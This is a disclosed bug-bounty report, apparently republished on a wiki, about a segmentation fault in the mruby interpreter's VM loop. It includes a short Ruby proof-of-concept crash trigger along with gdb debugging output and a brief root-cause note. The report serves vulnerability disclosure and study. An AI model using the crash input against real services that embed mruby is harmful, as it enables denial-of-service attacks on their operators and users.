Skip to content
DoS Disclosed report Advanced

SIGSEGV - vm.c - line:1214

A short Ruby script using instance_exec with an ensure block and a to_enum comparison crashes the mruby interpreter with a segmentation fault inside the VM execution loop. An attacker who can supply Ruby code to mruby could crash the process, causing a denial of service.

ston3 Follow

Originally disclosed on HackerOne

  • Triaged in 8 days
  • Fixed in 26 days
  • Paid in 30 days
  • Disclosed after 60 days

PoC

The following code triggers the bug (attached as test_mrb_vm_exec_1214.rb):

def test
instance_exec do return to_enum:==end ensure end
test

Debug - mirb

(gdb) r test_mrb_vm_exec_1214.rb 
Starting program: /home/x/Desktop/research/3_fuzz/mruby/bin/mirb test_mrb_vm_exec_1214.rb
mirb - Embeddable Interactive Ruby Shell

 => :test

Program received signal SIGSEGV, Segmentation fault.
0x0000000000412418 in mrb_vm_exec (mrb=<optimized out>, proc=<optimized out>, pc=<optimized out>) at /home/x/Desktop/research/3_fuzz/mruby/src/vm.c:1214
1214	        JUMP;
(gdb) info reg
rax            0x6fb4	28596
rbx            0x8	8
rcx            0x748350	7635792
rdx            0x765520	7755040
rsi            0x748350	7635792
rdi            0x759010	7704592
rbp            0x759010	0x759010
rsp            0x7fffffffc780	0x7fffffffc780
r8             0xfffffffffffffffc	-4
r9             0x7ffff7acd7b8	140737348687800
r10            0x4a	74
r11            0x759030	7704624
r12            0xfffffffffffffffc	-4
r13            0x0	0
r14            0x0	0
r15            0x759030	7704624
rip            0x412418	0x412418 <mrb_vm_exec+15352>
eflags         0x10206	[ PF IF RF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0
(gdb) l
1209	        }
1210	        mrb->c->stack[0] = result;
1211	        mrb->c->stack = ci->stackent;
1212	        pc = ci->pc;
1213	        cipop(mrb);
1214	        JUMP;
1215	      }
1216	      else {
1217	        /* setup environment for calling method */
1218	        proc = mrb->c->ci->proc = m;

Backtrace - mirb

(gdb) bt
#0  0x0000000000412418 in mrb_vm_exec (mrb=<optimized out>, proc=<optimized out>, pc=<optimized out>) at /home/x/Desktop/research/3_fuzz/mruby/src/vm.c:1214
#1  0x0000000000402e68 in main (argc=<optimized out>, argv=<optimized out>) at /home/x/Desktop/research/3_fuzz/mruby/mrbgems/mruby-bin-mirb/tools/mirb/mirb.c:549

Debug - mruby

(gdb) r test_mrb_vm_exec_1214.rb 
Starting program: /home/x/Desktop/research/3_fuzz/mruby/bin/mruby test_mrb_vm_exec_1214.rb

Program received signal SIGSEGV, Segmentation fault.
0x00000000004120b8 in mrb_vm_exec (mrb=<optimized out>, proc=<optimized out>, pc=<optimized out>) at /home/x/Desktop/research/3_fuzz/mruby/src/vm.c:1214
1214	        JUMP;
(gdb) info reg
rax            0x6fb4	28596
rbx            0x8	8
rcx            0x748330	7635760
rdx            0x765520	7755040
rsi            0x748330	7635760
rdi            0x759010	7704592
rbp            0x759010	0x759010
rsp            0x7fffffffd900	0x7fffffffd900
r8             0xfffffffffffffffc	-4
r9             0x7ffff7acd7b8	140737348687800
r10            0x4a	74
r11            0x759030	7704624
r12            0xfffffffffffffffc	-4
r13            0x0	0
r14            0x0	0
r15            0x759030	7704624
rip            0x4120b8	0x4120b8 <mrb_vm_exec+15352>
eflags         0x10206	[ PF IF RF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0
(gdb) l
1209	        }
1210	        mrb->c->stack[0] = result;
1211	        mrb->c->stack = ci->stackent;
1212	        pc = ci->pc;
1213	        cipop(mrb);
1214	        JUMP;
1215	      }
1216	      else {
1217	        /* setup environment for calling method */
1218	        proc = mrb->c->ci->proc = m;

Backtrace - mruby

(gdb) bt
#0  0x00000000004120b8 in mrb_vm_exec (mrb=<optimized out>, proc=<optimized out>, pc=<optimized out>) at /home/x/Desktop/research/3_fuzz/mruby/src/vm.c:1214
#1  0x000000000041bebd in mrb_vm_run (proc=0x75c150, self=..., stack_keep=4294967292, mrb=<optimized out>) at /home/x/Desktop/research/3_fuzz/mruby/src/vm.c:790
#2  mrb_top_run (mrb=0x759010, proc=0x75c150, self=..., stack_keep=<optimized out>) at /home/x/Desktop/research/3_fuzz/mruby/src/vm.c:2514
#3  0x00000000004a533f in mrb_load_exec (mrb=0x759010, p=<optimized out>, c=0x7b40e0) at /home/x/Desktop/research/3_fuzz/mruby/mrbgems/mruby-compiler/core/parse.y:5755
#4  0x0000000000402c67 in main (argc=<optimized out>, argv=<optimized out>) at /home/x/Desktop/research/3_fuzz/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:232

Impact

It can cause DoS.

The original report as published on HackerOne, by ston3. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the VM's call-frame handling around cipop and the JUMP macro is left in an inconsistent state by the ensure/instance_exec/to_enum combination, so execution resumes with a corrupted frame.

Impact

It can cause DoS: the interpreter process crashes.

What the attacker needed

Ability to run Ruby code in mruby

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

mruby is a small version of the Ruby programming language that can be embedded in other programs. A segmentation fault is a crash where the program tries to read or write memory it is not allowed to touch, and the operating system stops it. Here a particular combination of Ruby code confuses the interpreter's internal bookkeeping until it jumps to a bad place and crashes.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by ston3

View all

26 more disclosed reports, best first.

More from shopify-scripts

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.